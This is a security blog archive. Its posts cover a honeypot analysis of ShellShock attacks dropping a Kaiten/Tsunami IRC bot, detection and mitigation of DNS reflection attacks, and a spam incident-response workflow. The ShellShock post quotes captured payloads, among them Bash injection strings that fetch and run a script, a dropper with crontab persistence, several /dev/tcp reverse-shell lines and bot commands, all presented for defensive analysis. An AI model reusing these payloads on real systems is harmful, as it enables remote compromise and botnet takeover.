Category Archives: Security Investigation Series

Articles in this category are Lecture series that talk about various Security Investigation Process/Methodology for the various types of Security Incidents and Events identified.

Episode 6 – ShellShock Investigation Part 1

ShellShock & Linux.Backdoor.Kaiten

At, we regularly investigate Security Threats so that we can help the larger community by sharing knowledge on all things Security. As part of the investigation efforts, we have deployed Honeypots in the wild. We will be posting a blog on this new journey we are embarking on.

Today, we got an alert from one of our Honeypots and surprisingly enough, we were surprised to see that it was a ShellShock call 🙂

This post is going to be very rudimentary, as we want to first get the information out to as many people as we can. We will be updating the post to make it more comprehensive as we closely track this “now big thing”

Here is the log alert we picked up:

28-09-2014 09:43:55,,() { :;}; /bin/bash -c "wget -O /tmp/sh;curl -o /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh",

Update: I got 2 more alerts in my Honeypot:

29-09-2014 07:43:08,
,,() { :;}; /bin/bash -c "wget -P /var/tmp ; perl /var/tmp/x",

29-09-2014 09:30:11,,() { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a

So being curious, I looked up first to find out more about the IP – A quick lookup pointed to “CHINANET-GD”. Now that we know about the IP, let’s look at the command requested:

() { :;}; /bin/bash -c “wget -O /tmp/sh;curl -o /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh

The command represents an attempt by the remote attacker to inject malicious and/or arbitrary code following a function definition to download a file called ‘SH’ to the /tmp directory.

The file ‘sh’ contains the following:

sandbox-mac:dump user$ cat 
killall perl

wget -O /tmp/a.c;
curl -o /tmp/a.c;
gcc -o /tmp/a /tmp/a.c;
rm -rf /tmp/a.c;
wget -O /tmp/a;
curl -o /tmp/a;
chmod +x /tmp/a;

wget -O /tmp/d;
curl -o /tmp/d;
chmod +x /tmp/d;

wget -O /tmp/pl;
curl -o /tmp/pl;
perl /tmp/pl;
rm /tmp/pl;

echo "@weekly curl -o /tmp/sh;wget -O /tmp/sh;sh /tmp/sh" >/tmp/c;
crontab /tmp/c;
rm /tmp/c;

So, the file once downloaded, goes about doing a series of tasks.

  • Download a  “.C” file and compile it using “gcc”.
    sandbox-mac:dump user$ md5 kaiten.c
    MD5 (kaiten.c) = e5807250e25da45e287afb2f1e4580d6
  • Download 2 binary files:
    “a”   MD5 (a) = 7390a1e62a88eb80b5fae80c9eb00be7 – Backdoor.Linuz/Tsunami “darwin”  MD5 (d) = adacf1fa8cd7f77ae83ba38a99160bdb Backdoor:OSX/Tsunami.A
  • Makes the downloaded files as executables and executes them.
  • Next it brings down a Perl file (pl) and executes the perl file: sandbox-mac:dump user$ md5 pl MD5 (pl) = 0c25bee177101b4235022d694c0de4d3

The perl file, basically checks for other vulnerabilities, does port scanning, checks news from packet storm, Installs Socks5, does nmap, sql scanner, checks if the box is root-able, opens up IRC channels, does TCP/UDP/Http Floods based on commands received from the Master server,  performs Scanning activity to domains like, MSN,  AlltheWeb, Ask, AOL, Lycos, Yahoo, etc.

The commands used for above are:

# !bot @multiscan  
# !bot @socks5
# !bot @sql2  

# !bot @portscan 
# !bot @logcleaner
# !bot @sendmail    
# !bot @system
# !bot @cleartmp
# !bot @rootable
# !bot @nmap   
# !bot @back   
# !bot @linuxhelp
# !bot @cd tmp:. | for example
#-----[Advisory-New Based]-----
# !bot @packetstorm
# !bot @milw0rm
#-----[DDos Based]-----
# !bot @udpflood   

IRC Names:


And to top it all, the bot updates itself on a weekly basis using crontab.

Now, let’s look at the domain “” (Update: The website has been taken down shortly after this article was posted) is registered to a gentleman in the US since Mar-16-2010.  It runs Apache server on Ubuntu OS.

sandbox-mac:dump user$ curl -I

HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 07:33:15 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Sat, 27 Sep 2014 19:57:07 GMT
ETag: "0-50411703b49e2"
Accept-Ranges: bytes
Content-Type: text/html

At the time of writing this article, the website is empty, probably with a blank index page (200 OK). The directory that serves the bots is also probably having a blank index page.

sandbox-mac:dump user$ curl -I
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 07:38:23 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.4
Content-Type: text/html

According to way-back machine, there are/were only 3 edits/snapshots in the entirety of the domain life.

Wayback Machine Results

2 Blank page updates on March 1, 2011 & Aug 27, 2011 and 1 Apache test page on Jan 10, 2014.

Here is where it gets more interesting. I can confirm that this domain was purely used for bot activity.

According to the way back machine March 1, 2011 we can see the bot directory in there with the perl file and the file

Wayback Machine Bot directory Results


After a new bot addition

More Patterns:

We have 1 more pattern: – CHINANET
ShellShock Command: () { :;}; /bin/bash -c “wget -O /tmp/sh;curl -o /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh”

In addition to these: – Krypt Technologies (US)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/ 0<&1 2>&1 – Sakura Internet (Japan)
Shellshock Comand: () { :; }; /bin/bash -i >& /dev/tcp/ 0>&1 – Datasmeden (Sweden)
Shellshock Commands:
() { :;}; /bin/bash -i >& /dev/tcp/ 0>&1
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/”
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/ 0>&1” – Chinanet Anhui Province Network (China)
Shellshock Command: () { :; }; /usr/bin/bash -i >& /dev/tcp/ 0>&1 – NWT iDC Data Service (Hong Kong)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/ 0<&1 2>&1

Indicators of Compromise:

Some Indicators that we can look for in our web/proxy logs:

IP addresses:

  • (ISP)
  • (PERL BOT)
  • ( { :;}; /bin/bash -c \”cd /tmp;wget;curl -O /tmp/ji ; perl /tmp/ji;rm -rf /tmp/ji\”)

Web Requests: (some of the hard-coded urls in the perl file)



Please visit Identifying and Fixing Bash Vulnerability for details about testing and fixing this vulnerability

Episode 5 – Security Investigation Series – DNS Reflection Attacks

One of the most popular attacks in the Internet today is the DNS Reflection Attacks resulting in a Distributed DoS. One of the major DoS mitigation vendors, Prolexic released a Report for 2013 saying that, Distributed DoS Attacks have increased by over 20% and bandwidth utilizations have seen never before levels. Spamhaus, Network Solutions and several other companies this year have been hit by DNS Reflection attacks. The attackers specifically targeted organizations in order to hurt and humiliate them. Distributed DoS protection service providers are slowly gaining prominence. At this time, we at feel that it is important to understand the mechanics of such attacks and how they can be detected and responded from an Enterprise Security standpoint. In this Security Investigation Series post, we talk about the usual suspects – What is DNS Reflection Attack? How do we detect them? & How do we prevent them?.

Understanding DNS Reflection Attacks: As we all know, DNS is one of the components of the internet that serves as a Directory Assistance service akin to the Yellow pages. The only difference is that DNS gives IP numbers when requested for Domain Names. People who understand how DNS Works, would definitely have heard about “Recursive DNS Querying”. Essentially a Recursive Query is like following the trail of bread crumbs till you solve the puzzle. Every DNS Server pushes up the query recursively till it gets the response for the DNS Query. This also essentially means that the Original DNS Query will be very small in size, however, the recursive query/responses will be huge in size. Since DNS uses UDP, Volume based DOS Attacks are possible by using this Recursive Querying capability. This is the basic premise of a DNS Reflection attack. By making several thousands of spoofed DNS queries that result in recursion, an amplified DNS Response can be directed to the spoofed address. To understand the attack pattern that typically a Distributed DoS Attacker would follow, lets list down the attack pattern:

  1. Attacker first compromises an Authoritative Name Server.
  2. Attacker then creates a large TXT RR (Large sized Resource Record).
  3. Attacker Spoofs the Target IP Range
  4. Attacker Sends DNS Query (with Target IP Range As Client IP) to a number of Open DNS Servers (close to 5 million Open DNS Servers allow recursive querying) in such a way that Recursive Query happens and they retrieve the TXT RR.
  5. In order to achieve Amplification, the attacker then uses Several compromised Zombies to send our DNS Requests for the larger resource record (RR).
  6. All the Responses go to the Spoofed IP – Typically the Organisation the attacker wants to flood with DNS responses thereby causing a potential Distributed DOS scenario because of Bandwidth Consumption.
  7. Typical rates of amplification achieved are – For every 100 Mb/s of request Traffic, reply traffic can be up to 10 Gb/s

Imaging several gigabytes of DNS Packets hitting your perimeter and choking the bandwidth. This is what a DNS Amplification Attack or a DNS reflection attack can do.

Detection of DNS Reflection Attacks: Now that we understand the Anatomy of the attack, lets see how we can detect them. DNS Reflection attacks have IP Spoofing as the basic premise to redirect DNS Query Responses to a Target site. However, if the target site was able to detect that it never sent a DNS Query to elicit a DNS response, these attacks can be mitigated or stopped right away. However, detecting this is easier said then done. This can be done using a combination of Network Traffic monitoring, IDS/IPS & SIEM Technologies. Using a Network Monitoring tool like IPTraf, Netwatch,Netramet, we can gather DNS Statistics. Use a custom Script or a custom parser (SIEM parlance), we can normalize the Statistics into a more simpler State table (This is similar to the Firewall State table but mainly for UDP, called a Pseudo-state table). The table should contain a minimum of the following parameters:

  • Transaction ID (This is unique DNS Query ID. The Response received from the Authoritative DNS Server will have the same Transaction ID). 
  • Source IP Address of DNS Query initiator client
  • Source Port of the initiator client
  • Destination Address to which the Query is directed to
  • Destination port the Query is directed to

If there is a Query with a Transaction ID (say 0xcefd) & a corresponding response with the same transaction ID, we can safely say that the DNS Query & Response pair is legitimate. However, if there is only a Query or a Response, they are categorized as an “Orphan entry”. Orphan entries can be two types: 1. Only Query packet seen but no response is seen. & 2. Only Response packet is seen but no query packet is seen. Only Query & no response in my opinion is less harmful and can be safely ignored. But keep in mind, if this number is too high, it means something is wrong with your organizations DNS client or server and could even potential indicate a compromised asset. Only Response & No Query is the most likely candidate for DNS Reflection attacks. However, we need to also keep in mind that for smaller volumes these can lead to false positives as well. Some of the reasons for this is infrastructure logging fidelity (since DNS is UDP), bad routing of outbound traffic etc. In essence, our focus is on DNS Responses without preceding Queries. Now that we know what to look for, we need to start filtering all the remaining noise. This is where Range Thresholds are important. A small volume may not warrant attention, however, if there is an exponential increase in volume, it is really important to take actions aimed at mitigation. This is where an SIEM system comes in handy, Giving you a trend analysis based on the data collected over a time period. Let me just show you how this can be done in ArcSight SIEM. Data from the Traffic monitors can be parsed using a File Reader Custom Parser (using ArcSight Flex Connector). This parser can parse the required data fields as mentioned above from the Network logs and can map them to a native Event field schema. Then we use a Rule to populate all the Queries in an (First) Active list called DNS Query List. Similarly we use a Rule to populate all the Responses in another (Second) Active List called DNS Response List. You can then have a separate rule to populate a Third Active List for Orphan entries. This list will be a count based list giving you how many entries are there without Responses. A monitoring Dashboard can be then created for detecting Trend patterns  due to an increase in the Orphan entry list which would typically indicate a DNS Reflection Attack. I am sure there are couple of other ways we can get this done in ArcSight, but I am not going to go into those details in this post. But basically you should be able to get an idea of how this can be done. As far as other SIEM vendors are concerned, QRadar SIEM has some capabilities to do this, however I don’t think McAfee Nitro & Symantec SIM have this capability (Readers, let me know what you think about these SIEM Tools and whether this logic can be implemented or not).

Mitigation Methods for DNS Reflection Attacks: Once the suspicious list shows an increased percentage of Orphaned Response entries, there is a high likelihood that the organization is targeted. Unless you have partnered with a Distributed  DoS protection service provider, fending off such attacks would be a challenging prospect. However, there are ways and means to mitigate the attack from getting bigger.To start of with, lets look at the perimeter defences and how we can leverage them to mitigate the attack. Organizations generally will have a core router, an IPS/IDS, an Authoritative name server and a firewall.

On the core router we can enable URPF (Unicast Reverse Path Forwarding) to ensure that spoofing based attacks are controlled.

On the IDS side, we can enable rate limiting signatures for DNS packets to detect and probably drop packets thereby limiting the success of DNS Amplification based attacks. We can also enable Geography based filtering to ensure that the attacks remain controlled within a region.

On the DNS server side, we can limit the recursion so that our DNS servers don’t become part of the amplification attack. There are some experimental features in DNS on Rate Limiting on DNS Responses, however it is not commercialized and not many people have this feature tested. There is a great paper on the technical details of this feature. Please visit to take a look at it.

Finally, if you have money, spend on Distributed DoS protection services from Cloudflare, Imperva, Akamai, Prolexic etc. who can provide you with some of the rate limiting and geo based filtering based protection.

A combination of all these controls will ensure that the attacks are mitigated to a great extent. However, if you bandwidth is choked, you would still face a service disruption and slow website loading, but considering the defences, this would a good start.

What do you think would be your strategy to combat DNS Reflector attacks? Would you do it yourself or would you play with the big boys shelling big bucks? Chime on.

Until then….Detect & Respond.

Episode 4: Security Investigation Series – Tackling SPAM Attacks

One of the age-old attacks seen in the Internet is a SPAM attack. Many organizations have been blacklisted for having been a SPAM relay or a SPAM Source. Even though technologies have improved vastly over the decade, SPAM is still real and users are still being enticed by SPAM. The result is Machine Compromise and potential data breach. As of 2011, more than 7 Trillion SPAM Messages have originated. Many organizations combat SPAM in many different ways. In this Security Investigation Series Episode, I am going to layout a workflow for SPAM detection, Cleanup and Prevention.

Understanding SPAM: Firstly, let us understand SPAM. SPAM is nothing but a mass of unsolicited messages being sent anonymously or using fake identities. This often is a pre-cursor of an attack and hence is one of the Attack Vectors.  Two major sources of SPAM in an enterprise are

  • Email based SPAM and
  • Instant Messaging SPAM

Let us break this down even further. Email based SPAM uses SMTP protocol as its transport whereas the Instant Messaging using a gamut of protocols from HTTP, SIP, IMPP to XMPP. Several tools and technologies for SPAM detection and filtering work at this protocol level and identify SPAM and filter them as needed. Still intelligent spammers, can circumvent the detection and make their way to the user mailbox. In such cases, a clear incident detection and response process is needed.

Let us take one sample scenario so that I can layout the process flow for similar scenarios.

A Real Life Scenario: A mail is received at the user’s inbox containing a Password Stealer link. This is suspected as SPAM by the Security Devices in your enterprise. The security devices can be anyone or combination of Intrusion Detection Systems, Gateway Filters, SPAM filters etc. These alerts are logged to a SIEM solution. SIEM Solutions then correlate the various messages received and trigger an Incident. If there are no Security devices that do this, SIEM can help you identify SPAM through Network Traffic monitoring.

Logic for good SPAM detection: In signature based detection, it is good enough to just pick on the Triggers from the individual product vendors and then correlate among them. But if there is a SPAM message that is fresh and does not have a signature pattern, then only behavior based detection will be effective. Several tools today do some behavior based detection. Enterprises who don’t have behavior based systems can look at making use of SIEM to be that system. SIEM is a powerful tool and can do trending, correlation and pattern matching. A simple rule can be written for network log correlation for protocols like SMTP/IMP etc. Typically a value of 25 SPAM messages going to different destinations within a minute is a good indication of SPAM. This value combinations can be throttled (Throttling is a great SIEM topic and one of the classic rule writing as well as throttling ArcSight example can be found here at to get a more accurate SPAM detection rate. This detection is crucial for the response to be triggered.

Responding to SPAM Attacks: Once the SPAM detection is done through signature or behavior based logs, it is important to take a series of responsive actions.

  • Before responding obviously validation needs to be done to ensure we don’t falsely respond to a legitimate email. This is typically done at the SIEM level itself and is the job of a Level 1 Analyst.
  • Then, We need to ensure that the SPAM domain is blocked at the gateway level. This is to ensure that the SPAM does not spread from Internal to External. Some SPAM mails have carefully constructed callback to the domain itself and hence it is important to block it at the gateway.
  • Secondly, we need to ensure that the SPAM spreading is controlled in the Internal Mail Infrastructure. This can be done by putting filtering rules in Exchange to move SPAM messages to the deleted items folder. Similarly for IM also, such rules can be put in the messaging server.
  • Finally, the SPAM has to be cleaned from the individual machines. This is where it gets interesting.
  • There are three major types of users:
    1. Many users are aware of the SPAM and hence they would not have clicked on any of the links available in the mail or the message. These user machines can be remediated by just deleting the SPAM messages.
    2. Some users who are curious would have clicked on the link and then closed it after seeing its suspicious face. Majority of these cases are nothing and get remediated by just deleting the SPAM message. Some targeted SPAM attacks work to just make the user click on the SPAM link and then get re-directed to a Malware Dropper site. In these cases, even though the SPAM mail has been deleted the users are at risk. Hence these user machine have to be validated as well for possible compromise.
    3. Time and again we also see users clicking on the link, keying in all their data to the site and then feeling that nothing wrong has happened to them. These user machines are no longer clean and have to be re-imaged straight away.
  • Once the remediation is done, the appropriate documentation need to be carried out. Again as I said, documentation is vital in a Security Investigation process. Without documentation, it will not be repeatable, it will not be efficient.

Preventing SPAM Attacks: Preventing SPAM is the ultimate goal for every enterprise. Day in and Day out, Enterprise Defenses are being improved to combat SPAM. However, SPAM is mostly an initialization vector and hence it is at the hands of the End-User to be aware of the risks involved with SPAM. So more than the tools and technologies I would say “User Training” is the best way to prevent SPAM. What do you think?

How do you combat SPAM in your enterprise? Sound off in the comments below

 Save as PDF